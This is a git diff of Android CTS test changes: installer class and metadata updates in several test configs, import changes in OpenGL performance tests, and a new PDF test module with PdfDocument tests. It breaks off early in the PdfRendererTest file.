diff --git a/tests/libcore/luni/AndroidTest.xml b/tests/libcore/luni/AndroidTest.xml
index d791dba..a8c4142 100644
--- a/tests/libcore/luni/AndroidTest.xml
+++ b/tests/libcore/luni/AndroidTest.xml
@@ -14,12 +14,13 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Libcore test cases">
+    <option name="config-descriptor:metadata" key="component" value="libcore" />
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
         <option name="run-command" value="mkdir -p /data/local/tmp/ctslibcore/java.io.tmpdir" />
         <option name="run-command" value="mkdir -p /data/local/tmp/ctslibcore/user.home" />
         <option name="teardown-command" value="rm -rf /data/local/tmp/ctslibcore" />
     </target_preparer>
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <!-- this has just the instrumentation which acts as the tests we want to run -->
         <option name="test-file-name" value="CtsLibcoreTestCases.apk" />
diff --git a/tests/libcore/ojluni/AndroidTest.xml b/tests/libcore/ojluni/AndroidTest.xml
index 19b2333..9bf7113 100644
--- a/tests/libcore/ojluni/AndroidTest.xml
+++ b/tests/libcore/ojluni/AndroidTest.xml
@@ -14,12 +14,13 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Libcore OJ test cases">
+    <option name="config-descriptor:metadata" key="component" value="libcore" />
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
         <option name="run-command" value="mkdir -p /data/local/tmp/ctslibcore/java.io.tmpdir" />
         <option name="run-command" value="mkdir -p /data/local/tmp/ctslibcore/user.home" />
         <option name="teardown-command" value="rm -rf /data/local/tmp/ctslibcore" />
     </target_preparer>
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <!-- this has the CoreTestRunner which needs to be in a separate APK -->
         <option name="test-file-name" value="CtsLibcoreTestRunner.apk" />
@@ -33,7 +34,7 @@
         <option name="instrumentation-arg" key="core-listener"
                 value="com.android.cts.runner.CtsTestRunListener"/>
         <option name="core-expectation" value="/knownfailures.txt" />
-        <option name="runtime-hint" value="45m"/>
+        <option name="runtime-hint" value="35m"/>
         <!-- 20x default timeout of 600sec -->
         <option name="shell-timeout" value="12000000"/>
     </test>
diff --git a/tests/libcore/okhttp/AndroidTest.xml b/tests/libcore/okhttp/AndroidTest.xml
index 77eb3b2..4e79b80 100644
--- a/tests/libcore/okhttp/AndroidTest.xml
+++ b/tests/libcore/okhttp/AndroidTest.xml
@@ -14,12 +14,13 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Libcore OkHttp test cases">
+    <option name="config-descriptor:metadata" key="component" value="libcore" />
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
         <option name="run-command" value="mkdir -p /data/local/tmp/ctslibcore/java.io.tmpdir" />
         <option name="run-command" value="mkdir -p /data/local/tmp/ctslibcore/user.home" />
         <option name="teardown-command" value="rm -rf /data/local/tmp/ctslibcore" />
     </target_preparer>
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <!-- this has just the instrumentation which acts as the tests we want to run -->
         <option name="test-file-name" value="CtsLibcoreOkHttpTestCases.apk" />
@@ -31,7 +32,7 @@
         <option name="instrumentation-arg" key="filter"
                 value="com.android.cts.core.runner.ExpectationBasedFilter" />
         <option name="core-expectation" value="/knownfailures.txt" />
-        <option name="runtime-hint" value="10m"/>
+        <option name="runtime-hint" value="15m"/>
         <!-- 20x default timeout of 600sec -->
         <option name="shell-timeout" value="12000000"/>
     </test>
diff --git a/tests/netlegacy22.api/AndroidTest.xml b/tests/netlegacy22.api/AndroidTest.xml
index b40f21a..76b0174 100644
--- a/tests/netlegacy22.api/AndroidTest.xml
+++ b/tests/netlegacy22.api/AndroidTest.xml
@@ -1,3 +1,4 @@
+<?xml version="1.0" encoding="utf-8"?>
 <!-- Copyright (C) 2015 The Android Open Source Project
 
      Licensed under the Apache License, Version 2.0 (the "License");
@@ -13,11 +14,13 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Legacy android.net APIs test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="networking" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsNetTestCasesLegacyApi22.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.netlegacy22.api.cts" />
+        <option name="runtime-hint" value="10m" />
     </test>
-</configuration>
\ No newline at end of file
+</configuration>
diff --git a/tests/netlegacy22.permission/AndroidTest.xml b/tests/netlegacy22.permission/AndroidTest.xml
index 490e979..16875a6 100644
--- a/tests/netlegacy22.permission/AndroidTest.xml
+++ b/tests/netlegacy22.permission/AndroidTest.xml
@@ -1,3 +1,4 @@
+<?xml version="1.0" encoding="utf-8"?>
 <!-- Copyright (C) 2015 The Android Open Source Project
 
      Licensed under the Apache License, Version 2.0 (the "License");
@@ -13,11 +14,13 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Legacy android.net Permission test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="networking" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsNetTestCasesLegacyPermission22.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.netlegacy22.permission.cts" />
+        <option name="runtime-hint" value="8m" />
     </test>
 </configuration>
diff --git a/tests/openglperf2/Android.mk b/tests/openglperf2/Android.mk
index f4295ca..f46c7d4 100644
--- a/tests/openglperf2/Android.mk
+++ b/tests/openglperf2/Android.mk
@@ -21,7 +21,7 @@
 # Include both the 32 and 64 bit versions
 LOCAL_MULTILIB := both
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctsdeviceutil compatibility-device-util ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner
 
 LOCAL_JNI_SHARED_LIBRARIES := libctsopengl_jni
 
diff --git a/tests/openglperf2/AndroidTest.xml b/tests/openglperf2/AndroidTest.xml
index 5e50e8d..5d8f9d1 100644
--- a/tests/openglperf2/AndroidTest.xml
+++ b/tests/openglperf2/AndroidTest.xml
@@ -14,7 +14,8 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS OpenGL test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="graphics" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsOpenGlPerf2TestCases.apk" />
     </target_preparer>
@@ -24,4 +25,4 @@
         <!-- test-timeout unit is ms, value = 100 min -->
         <option name="test-timeout" value="6000000" />
     </test>
-</configuration>
\ No newline at end of file
+</configuration>
diff --git a/tests/openglperf2/src/android/opengl2/cts/primitive/GLPrimitiveActivity.java b/tests/openglperf2/src/android/opengl2/cts/primitive/GLPrimitiveActivity.java
index 6558786..420b7f9 100644
--- a/tests/openglperf2/src/android/opengl2/cts/primitive/GLPrimitiveActivity.java
+++ b/tests/openglperf2/src/android/opengl2/cts/primitive/GLPrimitiveActivity.java
@@ -13,9 +13,10 @@
  */
 package android.opengl2.cts.primitive;
 
+import com.android.compatibility.common.util.WatchDog;
+
 import android.app.Activity;
 import android.content.Intent;
-import android.cts.util.WatchDog;
 import android.opengl2.cts.GLActivityIntentKeys;
 import android.os.Bundle;
 import android.util.Log;
diff --git a/tests/openglperf2/src/android/opengl2/cts/reference/GLGameActivity.java b/tests/openglperf2/src/android/opengl2/cts/reference/GLGameActivity.java
index 0bfb38b..d018c06 100644
--- a/tests/openglperf2/src/android/opengl2/cts/reference/GLGameActivity.java
+++ b/tests/openglperf2/src/android/opengl2/cts/reference/GLGameActivity.java
@@ -13,10 +13,11 @@
  */
 package android.opengl2.cts.reference;
 
+import com.android.compatibility.common.util.WatchDog;
+
 import android.app.Activity;
 import android.content.Intent;
 import android.content.res.AssetManager;
-import android.cts.util.WatchDog;
 import android.graphics.Bitmap;
 import android.graphics.BitmapFactory;
 import android.opengl.GLES20;
diff --git a/tests/pdf/Android.mk b/tests/pdf/Android.mk
new file mode 100644
index 0000000..1e4a1ca
--- /dev/null
+++ b/tests/pdf/Android.mk
@@ -0,0 +1,44 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_MULTILIB := both
+
+LOCAL_JAVA_LIBRARIES := android.test.runner
+
+LOCAL_STATIC_JAVA_LIBRARIES += \
+    android-support-test \
+    mockito-target-minus-junit4 \
+    compatibility-device-util \
+    ctstestrunner \
+    android-support-annotations \
+    junit \
+    legacy-android-test
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+LOCAL_PACKAGE_NAME := CtsPdfTestCases
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_CTS_PACKAGE)
+
diff --git a/tests/pdf/AndroidManifest.xml b/tests/pdf/AndroidManifest.xml
new file mode 100644
index 0000000..495b5da
--- /dev/null
+++ b/tests/pdf/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.graphics.pdf.cts">
+
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
+    <application>
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="android.graphics.pdf.cts"
+                     android:label="CTS tests of android.graphics.pdf">
+        <meta-data android:name="listener"
+            android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
+
+</manifest>
+
diff --git a/tests/pdf/AndroidTest.xml b/tests/pdf/AndroidTest.xml
new file mode 100644
index 0000000..5a0f718
--- /dev/null
+++ b/tests/pdf/AndroidTest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Pdf test cases">
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsPdfTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.graphics.pdf.cts" />
+        <option name="runtime-hint" value="5m" />
+    </test>
+</configuration>
diff --git a/tests/pdf/res/raw/a4_portrait_rgbb.pdf b/tests/pdf/res/raw/a4_portrait_rgbb.pdf
new file mode 100644
index 0000000..ed373b7
--- /dev/null
+++ b/tests/pdf/res/raw/a4_portrait_rgbb.pdf
Binary files differ
diff --git a/tests/pdf/res/raw/a5_portrait_rgbb.pdf b/tests/pdf/res/raw/a5_portrait_rgbb.pdf
new file mode 100644
index 0000000..44e5a7a
--- /dev/null
+++ b/tests/pdf/res/raw/a5_portrait_rgbb.pdf
Binary files differ
diff --git a/tests/pdf/res/raw/a5_portrait_rgbb_1_6_printscaling_default.pdf b/tests/pdf/res/raw/a5_portrait_rgbb_1_6_printscaling_default.pdf
new file mode 100644
index 0000000..1f4ec0b
--- /dev/null
+++ b/tests/pdf/res/raw/a5_portrait_rgbb_1_6_printscaling_default.pdf
Binary files differ
diff --git a/tests/pdf/res/raw/a5_portrait_rgbb_1_6_printscaling_none.pdf b/tests/pdf/res/raw/a5_portrait_rgbb_1_6_printscaling_none.pdf
new file mode 100644
index 0000000..4d7a0f4
--- /dev/null
+++ b/tests/pdf/res/raw/a5_portrait_rgbb_1_6_printscaling_none.pdf
Binary files differ
diff --git a/tests/pdf/res/raw/testimage.jpg b/tests/pdf/res/raw/testimage.jpg
new file mode 100644
index 0000000..d3dae03
--- /dev/null
+++ b/tests/pdf/res/raw/testimage.jpg
Binary files differ
diff --git a/tests/pdf/res/raw/two_pages.pdf b/tests/pdf/res/raw/two_pages.pdf
new file mode 100644
index 0000000..ee73ae6
--- /dev/null
+++ b/tests/pdf/res/raw/two_pages.pdf
Binary files differ
diff --git a/tests/pdf/src/android/graphics/pdf/cts/PdfDocumentTest.java b/tests/pdf/src/android/graphics/pdf/cts/PdfDocumentTest.java
new file mode 100644
index 0000000..ecbb6d2
--- /dev/null
+++ b/tests/pdf/src/android/graphics/pdf/cts/PdfDocumentTest.java
@@ -0,0 +1,426 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.graphics.pdf.cts;
+
+import static android.graphics.pdf.cts.Utils.verifyException;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+
+import android.graphics.Rect;
+import android.graphics.pdf.PdfDocument;
+import android.graphics.pdf.PdfRenderer;
+import android.os.ParcelFileDescriptor;
+import android.support.annotation.NonNull;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.OutputStream;
+
+/**
+ * Tests {@link PdfDocument}
+ */
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class PdfDocumentTest {
+    private File mCacheDir;
+
+    @Before
+    public void setup() {
+        mCacheDir = InstrumentationRegistry.getTargetContext().getCacheDir();
+    }
+
+    @Test
+    public void getPagesEmptyDocAfterClose() {
+        PdfDocument doc = new PdfDocument();
+        doc.close();
+        assertEquals(0, doc.getPages().size());
+    }
+
+    @Test
+    public void closeClosedDoc() {
+        PdfDocument doc = new PdfDocument();
+        doc.close();
+
+        // legacy behavior, double close does nothing
+        doc.close();
+    }
+
+    @Test
+    public void writeClosedDoc() throws Exception {
+        PdfDocument doc = new PdfDocument();
+        doc.close();
+
+        OutputStream os = new FileOutputStream(File.createTempFile("tmp", "pdf", mCacheDir));
+
+        verifyException(() -> doc.writeTo(os), IllegalStateException.class);
+    }
+
+    @Test
+    public void startPageClosedDoc() {
+        PdfDocument doc = new PdfDocument();
+        doc.close();
+
+        verifyException(() -> doc.startPage(new PdfDocument.PageInfo.Builder(100, 100, 0).create()),
+                IllegalStateException.class);
+    }
+
+    @Test
+    public void finishPageTwiceDoc() {
+        PdfDocument doc = new PdfDocument();
+
+        PdfDocument.Page page = doc
+                .startPage(new PdfDocument.PageInfo.Builder(100, 100, 0).create());
+        doc.finishPage(page);
+        verifyException(() -> doc.finishPage(page), IllegalStateException.class);
+
+        doc.close();
+    }
+
+    @Test
+    public void closeWithOpenPage() {
+        PdfDocument doc = new PdfDocument();
+
+        PdfDocument.Page page = doc
+                .startPage(new PdfDocument.PageInfo.Builder(100, 100, 0).create());
+        verifyException(doc::close, IllegalStateException.class);
+        doc.finishPage(page);
+        doc.close();
+    }
+
+    @Test
+    public void writeEmptyDoc() throws Exception {
+        PdfDocument doc = new PdfDocument();
+
+        // Legacy behavior. Writing an empty doc does not fail.
+        File pdfFile = File.createTempFile("tmp", "pdf", mCacheDir);
+        try (OutputStream os = new FileOutputStream(pdfFile)) {
+            doc.writeTo(os);
+        }
+        doc.close();
+    }
+
+    @Test
+    public void writeWithOpenPage() throws Exception {
+        PdfDocument doc = new PdfDocument();
+
+        PdfDocument.Page page = doc
+                .startPage(new PdfDocument.PageInfo.Builder(100, 100, 0).create());
+
+        File pdfFile = File.createTempFile("tmp", "pdf", mCacheDir);
+        try (OutputStream os = new FileOutputStream(pdfFile)) {
+            verifyException(() -> doc.writeTo(os), IllegalStateException.class);
+        }
+
+        doc.finishPage(page);
+        doc.close();
+    }
+
+    @Test
+    public void openTwoPages() {
+        PdfDocument doc = new PdfDocument();
+
+        PdfDocument.Page page = doc
+                .startPage(new PdfDocument.PageInfo.Builder(100, 100, 0).create());
+        verifyException(() -> doc.startPage(new PdfDocument.PageInfo.Builder(100, 100, 1).create()),
+                IllegalStateException.class);
+
+        doc.finishPage(page);
+        doc.close();
+    }
+
+    @Test
+    public void finishPageFromWrongDoc() {
+        PdfDocument doc1 = new PdfDocument();
+        PdfDocument doc2 = new PdfDocument();
+
+        PdfDocument.Page page1 = doc1
+                .startPage(new PdfDocument.PageInfo.Builder(100, 100, 0).create());
+        verifyException(() -> doc2.finishPage(page1), IllegalStateException.class);
+
+        PdfDocument.Page page2 = doc2
+                .startPage(new PdfDocument.PageInfo.Builder(100, 100, 0).create());
+        verifyException(() -> doc1.finishPage(page2), IllegalStateException.class);
+
+        doc1.finishPage(page1);
+        doc2.finishPage(page2);
+        doc1.close();
+        doc2.close();
+    }
+
+    @Test
+    public void writeTwoPageDocWithSameIndex() throws Exception {
+        PdfDocument doc = new PdfDocument();
+
+        PdfDocument.Page page0 = doc
+                .startPage(new PdfDocument.PageInfo.Builder(101, 100, 0).create());
+        doc.finishPage(page0);
+        PdfDocument.Page page1 = doc
+                .startPage(new PdfDocument.PageInfo.Builder(201, 200, 0).create());
+        doc.finishPage(page1);
+        assertEquals(2, doc.getPages().size());
+
+        File pdfFile = File.createTempFile("tmp", "pdf", mCacheDir);
+        try (OutputStream os = new FileOutputStream(pdfFile)) {
+            doc.writeTo(os);
+        }
+
+        try (ParcelFileDescriptor fd = ParcelFileDescriptor.open(pdfFile,
+                ParcelFileDescriptor.MODE_READ_ONLY)) {
+            PdfRenderer renderer = new PdfRenderer(fd);
+            assertEquals(2, renderer.getPageCount());
+            try (PdfRenderer.Page page = renderer.openPage(0)) {
+                assertEquals(0, page.getIndex());
+                assertEquals(101, page.getWidth());
+                assertEquals(100, page.getHeight());
+            }
+            try (PdfRenderer.Page page = renderer.openPage(1)) {
+                assertEquals(1, page.getIndex());
+                assertEquals(201, page.getWidth());
+                assertEquals(200, page.getHeight());
+            }
+        }
+
+        doc.close();
+    }
+
+    /**
+     * Replacement for non existing <code>{@link PdfDocument.PageInfo}#equals()</code>
+     *
+     * @param a The first info, can not be null
+     * @param b The second info, can not be null
+     *
+     * @return If a is equal to b
+     */
+    private boolean pageInfoEquals(@NonNull PdfDocument.PageInfo a,
+            @NonNull PdfDocument.PageInfo b) {
+        return a.getContentRect().equals(b.getContentRect()) &&
+                a.getPageHeight() == b.getPageHeight() && a.getPageWidth() == b.getPageWidth() &&
+                a.getPageNumber() == b.getPageNumber();
+    }
+
+    @Test
+    public void writeTwoPageDoc() throws Exception {
+        PdfDocument doc = new PdfDocument();
+
+        assertEquals(0, doc.getPages().size());
+
+        PdfDocument.Page page0 = doc
+                .startPage(new PdfDocument.PageInfo.Builder(101, 100, 0).create());
+
+        assertEquals(0, doc.getPages().size());
+        doc.finishPage(page0);
+        assertEquals(1, doc.getPages().size());
+        assertTrue(pageInfoEquals(page0.getInfo(), doc.getPages().get(0)));
+
+        File page1File = File.createTempFile("tmp", "pdf", mCacheDir);
+        try (OutputStream os = new FileOutputStream(page1File)) {
+            doc.writeTo(os);
+        }
+
+        try (ParcelFileDescriptor fd = ParcelFileDescriptor.open(page1File,
+                ParcelFileDescriptor.MODE_READ_ONLY)) {
+            PdfRenderer renderer = new PdfRenderer(fd);
+            assertEquals(1, renderer.getPageCount());
+            try (PdfRenderer.Page page = renderer.openPage(0)) {
+                assertEquals(0, page.getIndex());
+                assertEquals(101, page.getWidth());
+                assertEquals(100, page.getHeight());
+            }
+        }
+
+        PdfDocument.Page page1 = doc
+                .startPage(new PdfDocument.PageInfo.Builder(201, 200, 1).create());
+
+        doc.finishPage(page1);
+        assertEquals(2, doc.getPages().size());
+        assertTrue(pageInfoEquals(page0.getInfo(), doc.getPages().get(0)));
+        assertTrue(pageInfoEquals(page1.getInfo(), doc.getPages().get(1)));
+
+        File page2File = File.createTempFile("tmp", "pdf", mCacheDir);
+        try (OutputStream os = new FileOutputStream(page2File)) {
+            doc.writeTo(os);
+        }
+
+        try (ParcelFileDescriptor fd = ParcelFileDescriptor.open(page2File,
+                ParcelFileDescriptor.MODE_READ_ONLY)) {
+            PdfRenderer renderer = new PdfRenderer(fd);
+            assertEquals(2, renderer.getPageCount());
+            try (PdfRenderer.Page page = renderer.openPage(0)) {
+                assertEquals(0, page.getIndex());
+                assertEquals(101, page.getWidth());
+                assertEquals(100, page.getHeight());
+            }
+            try (PdfRenderer.Page page = renderer.openPage(1)) {
+                assertEquals(1, page.getIndex());
+                assertEquals(201, page.getWidth());
+                assertEquals(200, page.getHeight());
+            }
+        }
+
+        doc.close();
+    }
+
+    @Test
+    public void writeToNull() {
+        PdfDocument doc = new PdfDocument();
+        verifyException(() -> doc.writeTo(null), IllegalArgumentException.class);
+        doc.close();
+    }
+
+    @Test
+    public void startNullPage() {
+        PdfDocument doc = new PdfDocument();
+        verifyException(() -> doc.startPage(null), IllegalArgumentException.class);
+        doc.close();
+    }
+
+    @Test
+    public void finishNullPage() {
+        PdfDocument doc = new PdfDocument();
+        verifyException(() -> doc.finishPage(null), IllegalArgumentException.class);
+        doc.close();
+    }
+
+    @Test
+    public void zeroWidthPage() {
+        verifyException(() -> new PdfDocument.PageInfo.Builder(0, 200, 0),
+                IllegalArgumentException.class);
+    }
+
+    @Test
+    public void negativeWidthPage() {
+        verifyException(() -> new PdfDocument.PageInfo.Builder(-1, 200, 0),
+                IllegalArgumentException.class);
+    }
+
+    @Test
+    public void zeroHeightPage() {
+        verifyException(() -> new PdfDocument.PageInfo.Builder(100, 0, 0),
+                IllegalArgumentException.class);
+    }
+
+    @Test
+    public void negativeHeightPage() {
+        verifyException(() -> new PdfDocument.PageInfo.Builder(100, -1, 0),
+                IllegalArgumentException.class);
+    }
+
+    @Test
+    public void negativePageNumber() {
+        verifyException(() -> new PdfDocument.PageInfo.Builder(100, 200, -1),
+                IllegalArgumentException.class);
+    }
+
+    @Test
+    public void contentRectLeftNegative() {
+        verifyException(() -> new PdfDocument.PageInfo.Builder(100, 200, 0)
+                .setContentRect(new Rect(-1, 0, 100, 200)), IllegalArgumentException.class);
+    }
+
+    @Test
+    public void contentRectTopNegative() {
+        verifyException(() -> new PdfDocument.PageInfo.Builder(100, 200, 0)
+                .setContentRect(new Rect(0, -1, 100, 200)), IllegalArgumentException.class);
+    }
+
+    @Test
+    public void contentRectRightToHigh() {
+        verifyException(() -> new PdfDocument.PageInfo.Builder(100, 200, 0)
+                .setContentRect(new Rect(0, 0, 101, 200)), IllegalArgumentException.class);
+    }
+
+    @Test
+    public void contentRectBottomToHigh() {
+        verifyException(() -> new PdfDocument.PageInfo.Builder(100, 200, 0)
+                .setContentRect(new Rect(0, 0, 100, 201)), IllegalArgumentException.class);
+    }
+
+    @Test
+    public void createPageWithFullContentRect() {
+        PdfDocument doc = new PdfDocument();
+        Rect contentRect = new Rect(0, 0, 100, 200);
+        PdfDocument.Page page = doc.startPage(
+                (new PdfDocument.PageInfo.Builder(100, 200, 0)).setContentRect(contentRect)
+                        .create());
+        assertEquals(page.getInfo().getContentRect(), contentRect);
+        assertEquals(100, page.getCanvas().getWidth());
+        assertEquals(200, page.getCanvas().getHeight());
+        doc.finishPage(page);
+        doc.close();
+    }
+
+    @Test
+    public void createPageWithPartialContentRect() {
+        PdfDocument doc = new PdfDocument();
+        Rect contentRect = new Rect(10, 20, 90, 180);
+        PdfDocument.Page page = doc.startPage(
+                (new PdfDocument.PageInfo.Builder(100, 200, 0)).setContentRect(contentRect)
+                        .create());
+        assertEquals(page.getInfo().getContentRect(), contentRect);
+        assertEquals(80, page.getCanvas().getWidth());
+        assertEquals(160, page.getCanvas().getHeight());
+        doc.finishPage(page);
+        doc.close();
+    }
+
+    @Test
+    public void createPageWithEmptyContentRect() {
+        PdfDocument doc = new PdfDocument();
+        Rect contentRect = new Rect(50, 100, 50, 100);
+        PdfDocument.Page page = doc.startPage(
+                (new PdfDocument.PageInfo.Builder(100, 200, 0)).setContentRect(contentRect)
+                        .create());
+        assertEquals(page.getInfo().getContentRect(), contentRect);
+        assertEquals(0, page.getCanvas().getWidth());
+        assertEquals(0, page.getCanvas().getHeight());
+        doc.finishPage(page);
+        doc.close();
+    }
+
+    @Test
+    public void createPageWithInverseContentRect() {
+        PdfDocument doc = new PdfDocument();
+
+        // A Rect can have a lower right than left and bottom than top. Of course this does not make
+        // sense for a content rect. For legacy reasons this is treated as we have a empty content
+        // rect.
+        Rect contentRect = new Rect(90, 180, 10, 20);
+        PdfDocument.Page page = doc.startPage(
+                (new PdfDocument.PageInfo.Builder(100, 200, 0)).setContentRect(contentRect)
+                        .create());
+        assertEquals(page.getInfo().getContentRect(), contentRect);
+        assertEquals(0, page.getCanvas().getWidth());
+        assertEquals(0, page.getCanvas().getHeight());
+        doc.finishPage(page);
+
+        doc.close();
+    }
+
+    @Test
+    public void defaultContentRectIsFullRect() {
+        PdfDocument.PageInfo info = (new PdfDocument.PageInfo.Builder(100, 200, 0)).create();
+        assertEquals(info.getContentRect(), new Rect(0, 0, 100, 200));
+    }
+}
diff --git a/tests/pdf/src/android/graphics/pdf/cts/PdfRendererTest.java b/tests/pdf/src/android/graphics/pdf/cts/PdfRendererTest.java
new file mode 100644
index 0000000..2f0158e
--- /dev/null
+++ b/tests/pdf/src/android/graphics/pdf/cts/PdfRendererTest.java
@@ -0,0 +1,366 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.graphics.pdf.cts;
+
+import static android.graphics.pdf.cts.Utils.A4_HEIGHT_PTS;
+import static android.graphics.pdf.cts.Utils.A4_PORTRAIT;
+import static android.graphics.pdf.cts.Utils.A4_WIDTH_PTS;
+import static android.graphics.pdf.cts.Utils.A5_PORTRAIT;
+import static android.graphics.pdf.cts.Utils.createRenderer;
+import static android.graphics.pdf.cts.Utils.renderAndCompare;
+import static android.graphics.pdf.cts.Utils.renderWithTransform;
+import static android.graphics.pdf.cts.Utils.verifyException;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import android.content.Context;
+import android.graphics.Bitmap;
+import android.graphics.Color;
+import android.graphics.Matrix;
+import android.graphics.Rect;
+import android.graphics.pdf.cts.R;
+import android.graphics.pdf.PdfRenderer;
+import android.graphics.pdf.PdfRenderer.Page;
+import android.os.ParcelFileDescriptor;
+import android.support.annotation.NonNull;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.IOException;
+
+/**
+ * All test for {@link PdfRenderer} beside the valid transformation parameter tests of {@link
+ * PdfRenderer.Page#render}.
+ */
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class PdfRendererTest {
+    private static final int A5_PORTRAIT_PRINTSCALING_DEFAULT =
+            R.raw.a5_portrait_rgbb_1_6_printscaling_default;
